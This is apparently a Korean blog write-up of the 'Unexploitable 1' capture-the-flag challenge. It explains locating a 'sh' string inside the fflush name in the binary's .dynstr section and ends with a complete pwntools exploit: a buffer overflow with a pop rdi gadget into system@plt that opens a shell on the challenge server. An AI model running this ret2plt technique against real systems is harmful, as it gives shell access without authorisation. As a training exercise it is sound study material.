main() 함수에서 fgets() 함수로 입력을 받는데, 일단 취약점을 주고 시작한다.
보다시피 바이너리에는 고정 주소에 "sh\x00"이 박혀있다.
확인 한 번 더.
그 이유는 fflush() 함수 때문인데, 바이너리 안에는 사용하는 라이브러리 함수 이름들이 다음과 같이 박혀있다.
fflush의 문자열 일부가 "sh\x00"으로 인식되는 것이다.
이 영역은 .dynstr 영역이며, objdump로도 확인 가능하다.
objdump -h Unexploitable_1로 각 섹션을 확인한 모습이다.
5번에 .dynstr 영역이 보인다.
이 영역의 문자열을 긁으면
따란.
그리고 또 system()함수의 plt도 주어졌다.
필요한건 다 찾은 것 같다.
pop rdi가젯으로 "sh\x00"주소를 rdi에 넣어주고, 바로 system함수의 plt로 뛰어주면 된다.
from pwn import * context.terminal = ['tmux', 'splitw', '-h'] #p = process('./Unexploitable_1') p = remote('ctf.j0n9hyun.xyz', 3023) #gdb.attach(p, 'b*0x0400765') e = ELF('./Unexploitable_1') pop_rdi = 0x00000000004007d3 p.recvuntil("system@plt!\n") payload = "A"*0x18 payload += p64(pop_rdi) payload += p64(0x6003bf) # "sh\x00" payload += p64(e.plt.system) p.sendline(payload) p.interactive()
'write-up > ctf.j0n9hyun.xyz' 카테고리의 다른 글
[j0n9hyun] Unexploitable 2 (0) | 2019.07.23 |
---|